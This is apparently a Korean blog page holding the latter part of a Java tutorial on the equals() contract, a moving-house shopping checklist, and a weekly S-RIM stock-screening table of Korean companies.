  • It is symmetric: for any non-null reference values x and y, x.equals(y) should return true if and only if y.equals(x) returns true.
  • It is transitive: for any non-null reference values x, y, and z, if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true.
  • It is consistent: for any non-null reference values x and y, multiple invocations of x.equals(y) consistently return true or consistently return false, provided no information used in equals comparisons on the objects is modified.
  • For any non-null reference value x, x.equals(null) should return false.

하나씩 알아보자.

 

Reflexive : 반사성

반사성이란 모든 객체는 자기 자신과 같아야 한다는 뜻이다. 이 규약을 의도적으로 깨트릴 수는 있으나, 그럴 이유도 없고 지키지 않기도 힘들다. 아래 코드는 의도적으로 깨트렸다.

public class ViolatingReflexiveTest {
	int i;

	public static void main(String[] args) {
		ViolatingReflexiveTest test = new ViolatingReflexiveTest();
		test.i = 1;

		System.out.println(test.equals(test)); // false
	}

	@Override
	public boolean equals(Object obj) {
		return ((ViolatingReflexiveTest) obj).i < this.i;
	}
}

 

Symmetry : 대칭성

대칭성이란 X와 Y가 같으면, Y도 X와 같아야 한다는 뜻이다. 이 규약은 쉽게 깨질 수 있다.

 

예를 들어 동일한(비슷한) 의미를 가진 서로 다른 클래스인 X와 Y가 존재한다고 하자. X는 Y와 의미가 비슷하기 때문에 자기 자신 클래스뿐만 아니라 Y 클래스와 호환되도록 equals 메서드에서 Y 클래스를 입력받아서 처리하도록 설계했다.

 

하지만, Y는 X 클래스가 구현되기 전에 구현된 클래스고 자기 자신인 Y만 입력받아서 equals 메서드를 처리하도록 하였다. 따라서 X.equals(Y)는 참일 수 있지만 Y.equals(X)는 X가 자기 자신 클래스가 아니기 때문에 거짓을 항상 반환할 것이다.

public class XClass {
	public int age;

	@Override
	public boolean equals(Object obj) {
		if (obj instanceof XClass) {
			return age == ((XClass) obj).age;
		}

		// X 클래스는 Y 클래스와도 비교를 한다.
		if (obj instanceof YClass) {
			return age == ((YClass) obj).years;
		}
		return false;
	}

}


public class YClass {
	public int years;

	@Override
	public boolean equals(Object obj) {
		if (obj instanceof YClass) {
			return years == ((YClass) obj).years;
		}
		return false;
	}

	public static void main(String[] args) {
		XClass xClass = new XClass();
		YClass yClass = new YClass();

		xClass.age = 10;
		yClass.years = 10;

		System.out.println(xClass.equals(yClass)); // true
		System.out.println(yClass.equals(xClass)); // false

	}
}

 

Transitivity : 추이성

추이성이란 수학에서 많이 봤던 “a=b이고 b=c이면 a=c이다.”과 동일한 의미이다.

 

먼저 이 예제를 보이기 위해 java.awt.Point 클래스를 상속하고, 색상을 추가로 가지는 ColorPoint를 구현한다. ColorPoint의 equals 메서드는 자신과 동일한 객체만 검사하며 부모 클래스인 Point의 equals 메서드와 색상을 비교하여 객체의 동일 여부를 판단하도록 구현하였다.

 

하지만 이는 이미 대칭성(symmetric)을 위반한다. Point를 ColorPoint와 비교하면 좌표 값(x, y)을 비교하지만, ColorPoint는 자신과 동일한 객체만 검사하므로 부모인 Point가 검사대상이 될 경우 false다.

public class ColorPoint extends Point {
	private final Color color;

	public ColorPoint(int x, int y, Color color) {
		super(x, y);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		// ColorPoint 객체가 아닐 경우, 항상 false이다.
		if (!(obj instanceof ColorPoint)) {
			return false;
		}

		return super.equals(obj) && ((ColorPoint) obj).color == color;
	}

	public static void main(String[] args) {
		Point point = new Point(1, 2);
		ColorPoint colorPoint = new ColorPoint(1, 2, Color.RED);

		// Symmetry
		System.out.println(point.equals(colorPoint)); // true
		System.out.println(colorPoint.equals(point)); // false
	}
}

 

추이성을 테스트하기도 전에 대칭성을 위반해버린다. 대칭성을 지키기 위해 Point 객체가 아닐 경우 false를 리턴하도록 변경하고, Point 객체이면 색상은 제외한 좌표만 비교하는 로직을 넣게 되면 대칭성이 보존된다.

public class ColorPoint extends Point {
	private final Color color;

	public ColorPoint(int x, int y, Color color) {
		super(x, y);
		this.color = color;
	}

	public ColorPoint(Point point, Color color) {
		super(point);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		// Point 객체가 아닐 경우, 항상 false를 리턴
		if (!(obj instanceof Point)) {
			return false;
		}

		// ColorPoint가 아닌 Point 객체일경우, 색상은 비교하지 않고 좌표만 비교
		if (!(obj instanceof ColorPoint)) {
			return obj.equals(this);
		}

		return super.equals(obj) && ((ColorPoint) obj).color == color;
	}

	public static void main(String[] args) {
		Point point = new Point(1, 2);
		ColorPoint redColorPoint = new ColorPoint(point, Color.RED);

		// Symmetry
		System.out.println(point.equals(redColorPoint)); // true
		System.out.println(redColorPoint.equals(point)); // true

		ColorPoint blueColorPoint = new ColorPoint(point, Color.BLUE);

		// Transitivity violation
		System.out.println(redColorPoint.equals(point)); // true
		System.out.println(point.equals(blueColorPoint)); // true
		System.out.println(redColorPoint.equals(blueColorPoint)); // false
	}

}

 

하지만 위 코드는 이제 추이성을 위반한다.

point, redColorPoint, 그리고 blueColorPoint의 좌표는 (1, 2)로 동일하다. 따라서 아래와 같이 된다.

  1. redColorPoint와 point를 비교하면 좌표만 비교하므로 true를 리턴한다.
  2. point와 blueColorPoint를 비교하면 좌표만 비교하므로 true를 리턴한다.
  3. redColorPoint == point이고, point == blueColorPoint이므로 redColorPoint == blueColorPoint여야 하지만 ColorPoint 객체는 색상까지 비교하므로 둘의 색상은 다르다. 따라서 false를 리턴하여 추이성을 위반한다.

그렇다면 위와 같이 상속을 하여 구현한 클래스의 equals는 어떻게 구현해야 할까? 상속을 받아 새로운 값을 추가하여 equals를 만들 때 추이성 규약을 위반하지 않을 방법이 없다. 부모 클래스가 존재하는 한 이는 해결할 수 없다.

 

따라서 위와 같이 상속받아 구현하였을 경우 불가능하지만, 피할 수 있는 방법은 있다. 규칙 16에서 나올 '계승하는 대신 구성하라' 규칙을 사용하는 것이다. 즉 Point를 상속하지 말고 하나의 필드로 만들어서 사용하는 방법이다. 코드는 아래와 같다.

public class CorrectColorPoint {
	// Point를 상속하지 않고 필드로 구성하였다.
	private final Point point;
	private final Color color;

	public CorrectColorPoint(int x, int y, Color color) {
		this.point = new Point(x, y);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		if (obj == this) {
			return true;
		}

		if (!(obj instanceof CorrectColorPoint)) {
			return false;
		}

		CorrectColorPoint cp = (CorrectColorPoint) obj;

		return cp.point.equals(point) && cp.color.equals(color);
	}
}

 

 

equals 메서드를 구현할 때 instanceof 대신 getClass 메서드를 사용하면 상속을 하여도 추이성을 지킬 수 있다는 소문이 있다. 하지만 이는 SOLID 원칙 중 하나인 리스코프 대체 원칙(Liskov substitution principle)을 위반한다. 리스코프 대체 원칙 참고.

 

리스코프 대체 원칙은 간단하게 말하면 자식의 인스턴스를 부모의 메서드에 대입하여도 부모 메서드의 결과는 동일하다는 의미이다. 말이 어려운데 코드를 보자. 아래는 Point.equlas의 코드이다.

public class Point extends Point2D implements java.io.Serializable {
	...
    
    public boolean equals(Object obj) {
        if (obj instanceof Point) {
            Point pt = (Point)obj;
            return (x == pt.x) && (y == pt.y);
        }
        return super.equals(obj);
    }
    
}

 

이제 이 Point.equals 코드의 instanceof를 getClass로 대체하면 아래와 같다.

    public boolean equals(Object obj) {
        if (obj == null || obj.getClass() != getClass()) {
            Point pt = (Point)obj;
            return (x == pt.x) && (y == pt.y);
        }
        return false;
    }

 

이렇게 변경되면 무엇이 문제일까? Point의 equals 메서드에 자식 ColorPoint를 넣게 되면 false가 된다. 왜냐하면 항상 자신의 class, 즉 Point가 아닐 경우에는 항상 false를 리턴하기 때문이다. 이는 리스코프 대체 원칙을 위반한다.

 

Consistent : 일관성

일관성이란 일단 같다고 판정된 객체들은 이후에 변화가 없으면 계속 같아야 한다는 것이다.

 

java.net.URL의 equals 메서드는 URL에 대응되는 IP 주소를 비교하여 동일 여부를 판단하였다. 하지만 IP주소는 네트워크상에서 언제든 변경될 수 있으므로 일관성을 보장하지 않는다. 아래 코드를 보자

public class UrlEqulasTest {
	public static void main(String[] args) throws MalformedURLException, UnknownHostException {
		URL firstUrl = new URL("https://www.google.co.kr/");
		URL secondUrl = new URL("https://142.250.199.67/"); // 구글의 접속 IP는 다양하므로 테스트때마다 다름

		InetAddress address = InetAddress.getByName(firstUrl.getHost());
		System.out.println(address.getHostAddress()); // 142.250.199.67

		InetAddress address2 = InetAddress.getByName(secondUrl.getHost());
		System.out.println(address2.getHostAddress()); // 142.250.199.67

		System.out.println(firstUrl.equals(secondUrl)); // true
	}
}

필자 네트워크상으로 'https://www.google.co.kr/'의 IP는 142.250.199.67이다. 따라서 'https://142.250.199.67/'과 equlas로 비교하면 현재는 true를 반환한다.

 

하지만 시간이 흐르면 'https://www.google.co.kr/'의 IP는 DNS에 따라서 계속 변경되기 때문에 어느 순간에는 '142.250.199.67'이 아닐 수 있다. 그럴 때는 위의 결과는 false를 리턴한다.

 

이렇게 코드는 동일하지만 equlas의 결과가 변화한다면 일관성이 없는 것이다. 따라서 equals를 정의할 때는 해당 객체의 고유한 값들만을 이용하여 작성해야 한다.

 

Non-nullity : 널(Null)에 대한 비 동치성

object.equals(null)는 항상 false를 반환해야 한다.

	@Override
	public boolean equals(Object obj) {
		if(obj == null){
			return false;
		}
		
		...
	}

 

위와 같이 작성하여도 되지만 instanceof에 null을 체크할 경우, 항상 false를 반환한다. 따라서 아래와 같이 작성하여 한번에 해당 자료형인지 확인도 하면서 null인지를 확인하도록 작성하자.

	@Override
	public boolean equals(Object obj) {
		if(!(obj instanceof MyType)){
			return false;
		}
		
		...
	}

 

equals 메서드 구현 순서

  1. == 연산자를 사용하여 인자가 자기 자신인지 제일 먼저 검사하여 같다면 바로 true를 리턴한다. 성능을 위함이다.
  2. instanceof 연산자를 사용하여 인자의 자료형이 정확한지 검사한다.
  3. 인자의 자료형을 캐스팅한다.
  4. 동일함을 검사하는 필드를 각각 비교한다.
    • float와 double은 각각 Float.compare와 Double.compare를 사용하여 비교한다.
    • 필드의 비교 순서는 다를 가능성이 가장 높거나 비교 비용이 낮은 필드부터 비교하는 게 좋다.
  5. 마지막으로 equals의 일반 규약을 만족하는지 검사한다.
	@Override
	public boolean equals(Object obj) {
		// 1. 자기 자신인지 검사한다.
		if (obj == this) {
			return true;
		}
        
		// 2. 자료형을 검사한다.
		if (!(obj instanceof CorrectColorPoint)) {
			return false;
		}
        
		// 3. 캐스팅한다.
		CorrectColorPoint cp = (CorrectColorPoint) obj;

		// 4. 다를 가능성이 높은 순서대로 필드를 비교한다.
		return cp.point.equals(point) && cp.color.equals(color);
	}

 

Object.equals()를 오버라이딩 하지 않아도 되는 경우

Object.equals()를 하위 클래스에서 재정의 하지 않아도 되는 경우는 아래와 같다.

 

  • 각각의 객체가 고유하다. 클래스 특성상 객체가 고유할 수밖에 없는 경우에는 오버 라이딩할 필요가 없다. 예를 들어 Thread 같은 클래스가 있다.
  • 클래스에 논리적 동일성 검사 방법이 있건 없건 상관없다. 클래스 특성상 equals 메서드가 있어봤자 사용할 일이 거의 없을 때 오버라이딩 하지 않는다.
  • 상위 클래스에서 재정의한 equals가 하위 클래스에서 사용하기에도 적당하다. 예를 들어 대부분의 Set, List, Map 클래스들은 각각 AbstractSet, AbstractList, AbstractMap의 equals를 사용한다.

 

 

반응형
반응형

주방

냄비, 후라이팬

도마

수저

그릇

쟁반

국자, 집게, 뒤집개, 주방가위

반찬통

컵,소주잔, 맥주잔, 커피잔

냄비받침대

햇반

주방세제

수세미

키친타월

물티슈

아이스버킷

비닐장갑

비닐백

호일 

브리타정수기

에어프라이어(오븐)

전기포트

전자레인지

식용유

간장

소금

고춧가루

참기름

설탕

연두

부르스타

커피머신

다용도 슬라이딩 선반

주방수건

주방수건걸이

 

 

욕실

비누

치약

칫솔

샴푸

폼클렌징

샤워타월

화장실 솔

락스

화장실 쓰레기통

슬리퍼

드라이기

수건

세탁세제

섬유유연제

휴지

면도기

빨래건조대

 

 

가구/침구

거울

이불

침대

베개

베개커버

책상

거실 테이블

의자

선반

스탠드조명

선반

 

 

 

일반

쓰레기통

청소기

옷걸이

건전지

손톱깎이 세트

슬리퍼

멀티탭

분리수거함

무선랜카드

인터넷신청

와이파이기기

전동드릴

돌돌이

 

 

식품

만두

스팸

라면

두유

콜라

토닉워터

에이스과자

 

 

 

챙겨야 할 물건

의류

신발

화장품

컴퓨터

노트북

 

반응형
반응형

사경인 회계사님이 쓴 재무제표 모르면 주식투자 절대로 하지마라에 나오는 공식인 S-RIM을 계산하여 해당하는 종목을 매주 제공합니다.

 

재무제표 정보를 제공하는 사이트(http://comp.fnguide.com)를 크롤링하여 필요한 정보를 구했습니다.

 

특히, ROE 같은 경우는  당해에 컨센서스가 추측하는 ROE를 기준으로 하였고, 컨센서스가 존재하지 않을 경우 대상에서 제외합니다.

 

목표 수익률은 9%로 하였습니다.

 

당기순이익이 어떠한 이유로 인해(투자, 매각 등) 너무 높아 ROE가 비정상적으로 다른 해보다 높은 기업이 존재합니다.

따라서 아래 종목 리스트는 투자에 참고만 해주시고, 반드시 해당 기업의 재무제표를 다시 확인해주시기 바랍니다.

 

종목명 시가총액 현재가격 매수가격 중간가격 매도가격 지난주 대비 최초 대비
NAVER 663624 404000 533853 813064 1712745 -1.22 0.00
기아 339694 83800 97037 106863 138523 -3.46 0.00
POSCO 242379 278000 645036 703162 890459 -2.46 0.00
KB금융 235763 56700 110688 112756 119422 0.53 0.00
신한지주 192950 37350 90367 91004 93057 -0.53 0.00
LG 135751 86300 153023 165689 206501 -4.11 0.00
하나금융지주 127603 42500 111576 114243 122837 -2.41 0.00
HMM 125194 25600 48992 72798 149503 -6.23 0.00
우리금융지주 95376 13100 35026 35953 38942 -0.38 0.00
LG디스플레이 80866 22600 37085 39105 45615 12.16 0.00
롯데케미칼 71807 209500 431046 449714 509867 -3.01 0.00
한화솔루션 68095 35600 47703 50934 61342 -3.00 0.00
LG유플러스 60471 13850 17822 18085 18930 -3.15 0.00
현대글로비스 59438 158500 162430 176598 222251 0.96 0.00
미래에셋증권 57496 9050 16791 17492 19750 -1.74 0.00
CJ제일제당 54948 365000 428330 446806 506338 -0.95 0.00
현대제철 53912 40400 130261 132154 138255 -2.88 0.00
금호석유 49510 162500 287986 396962 748107 -3.56 0.00
한국금융지주 47256 84800 163812 201178 321583 -3.20 0.00
이마트 44323 159000 399348 444694 590810 -2.15 0.00
삼성증권 42418 47500 79539 90924 127609 -1.14 0.00
DB손해보험 39931 56400 95016 98714 110628 -1.91 0.00
NH투자증권 38614 13000 23902 26234 33750 -0.38 0.00
GS 37120 39950 112248 123400 159334 -6.11 0.00
메리츠증권 35109 5150 8362 9255 12131 11.35 0.00
GS건설 34318 40100 54443 56281 62200 -2.43 0.00
팬오션 29562 5530 7468 8307 11009 -2.64 0.00
OCI 28262 118500 151819 177358 259652 -1.66 0.00
키움증권 27662 105500 207048 251358 394134 -3.65 0.00
BNK금융지주 27607 8470 27969 28117 28595 -1.17 0.00
SK케미칼 25638 145500 150093 176592 261980 new 0.00
대우건설 25020 6020 9297 10594 14771 -1.15 0.00
포스코인터내셔널 24983 20250 29604 31091 35882 -1.22 0.00
한화 24324 32450 76104 84714 112456 1.56 0.00
효성티앤씨 23413 541000 879830 1302424 2664115 -3.74 0.00
현대해상 22305 24950 51675 51686 51718 -2.16 0.00
한화에어로스페이스 22176 43800 56787 57209 58571 6.70 0.00
두산 21977 133000 157249 183078 266304 -3.97 0.00
코오롱인더 21300 77400 88018 90138 96969 -3.97 0.00
롯데정밀화학 20537 79600 105426 126238 193300 -1.61 0.00
효성 20312 96400 145470 168831 244103 -2.63 0.00
영원무역 19497 44000 53291 56328 66115 -1.12 0.00
JB금융지주 16566 8410 21828 23126 27311 -1.06 0.00
DGB금융지주 16086 9510 31231 31433 32084 -2.96 0.00
현대두산인프라코어 15676 7940 11485 12307 14956 -2.34 0.00
에스엘 15642 32450 32482 33514 36838 2.04 0.00
동국제강 15412 16150 32276 38277 57616 -5.56 0.00
HDC현대산업개발 15258 23150 46027 47850 53727 -2.94 0.00
DL 12867 61400 308900 392940 663734 -4.51 0.00
대한유화 11668 179500 323020 329962 352332 -1.64 0.00
SK가스 11399 123500 236615 248418 286448 -1.98 0.00
GS홈쇼핑 10165 154900 198218 205333 228258 0.00 0.00
LX인터내셔널 9864 25450 60586 73115 113486 -5.39 0.00
유니드 9468 106500 162934 199633 317886 -6.58 0.00
한섬 9433 38300 49156 49815 51936 -4.96 0.00
하림지주 9280 10050 22288 23833 28812 new 0.00
풍산 8786 31350 68105 75218 98139 -3.24 0.00
SBS 8761 48000 55779 70006 115847 new 0.00
대한해운 8299 2600 4093 4635 6380 -4.41 0.00
대상 8177 23600 35347 36387 39736 -1.05 0.00
동원산업 8017 218000 381471 393173 430880 -5.63 0.00
효성화학 7896 247500 267178 339006 570450 0.00 0.00
현대건설기계 7752 39350 71864 74673 83725 -2.84 0.00
동원F&B 7564 196000 216306 226276 258402 -2.97 0.00
세아베스틸 7262 20250 53704 56584 65864 -4.26 0.00
SNT모티브 6771 46300 59077 60214 63879 -7.40 0.00
SK디앤디 6690 30150 33283 38268 54331 0.84 0.00
한국토지신탁 6565 2600 4177 4479 5451 11.35 0.00
코오롱글로벌 6240 24750 33174 41487 68272 -1.59 0.00
매일유업 5483 69900 70422 77787 101521 2.19 0.00
한국자산신탁 5356 4320 7216 7781 9600 -1.59 0.00
국도화학 5163 57300 136537 173558 292848 -2.55 0.00
한라홀딩스 5110 48800 99895 106366 127218 1.24 0.00
한진 4723 31600 104108 117894 162315 -1.71 0.00
이수화학 4236 15150 16173 21128 37095 new 0.00
송원산업 4176 17400 24787 27365 35673 -0.57 0.00
원익머트리얼즈 4142 32850 34529 38200 50030 4.62 0.00
태영건설 4123 10600 21827 24885 34736 -0.93 0.00
금호건설 4085 11150 31054 38999 64602 -1.33 0.00
인탑스 4042 23500 35239 38463 48849 4.68 0.00
대한제강 4005 16250 33577 41438 66766 -1.52 0.00
동부건설 3229 14200 28751 32301 43740 -2.41 0.00
계룡건설 3224 36100 86231 98726 138988 -6.11 0.00
한세예스24홀딩스 3092 7730 12572 13819 17838 -1.78 0.00
풍산홀딩스 2925 28100 107173 126119 187167 -1.23 0.00
KSS해운 2713 11700 15851 18081 25269 2.18 0.00
랩지노믹스 2708 23650 34235 51552 107351 0.21 0.00
KPX케미칼 2662 55000 115141 116308 120071 -3.34 0.00
현대코퍼레이션 2328 17600 26782 28272 33075 -2.22 0.00
도이치모터스 2165 7310 11274 11887 13860 0.97 0.00
금화피에스시 2091 34850 47285 48398 51984 1.60 0.00
한라 2048 5410 13335 15345 21823 -0.18 0.00
와이엔텍 1993 10950 11468 12923 17610 new 0.00
태웅로직스 1455 7450 10343 14853 29386 -7.91 0.00
디와이파워 1413 12800 23285 25727 33596 0.79 0.00
SGC이테크건설 1413 69800 149397 196235 347160 1.31 0.00
한미글로벌 1282 11700 12649 13193 14943 new 0.00
현대코퍼레이션홀딩스 1115 12250 22353 23333 26490 -1.21 0.00
휴비츠 1083 9110 9384 10749 15146 -2.04 0.00
이노인스트루먼트 796 1975 2280 2418 2862 -3.42 0.00
반응형

'주식' 카테고리의 다른 글

[21년 11월 5주차] S-RIM 종목  (0) 2021.11.28
[21년 11월 3주차] S-RIM 종목  (0) 2021.11.14
[21년 11월 2주차] S-RIM 종목  (0) 2021.11.07
[21년 11월 1주차] S-RIM 종목  (0) 2021.11.01
[21년 10월 5주차] S-RIM 종목  (0) 2021.10.24

+ Recent posts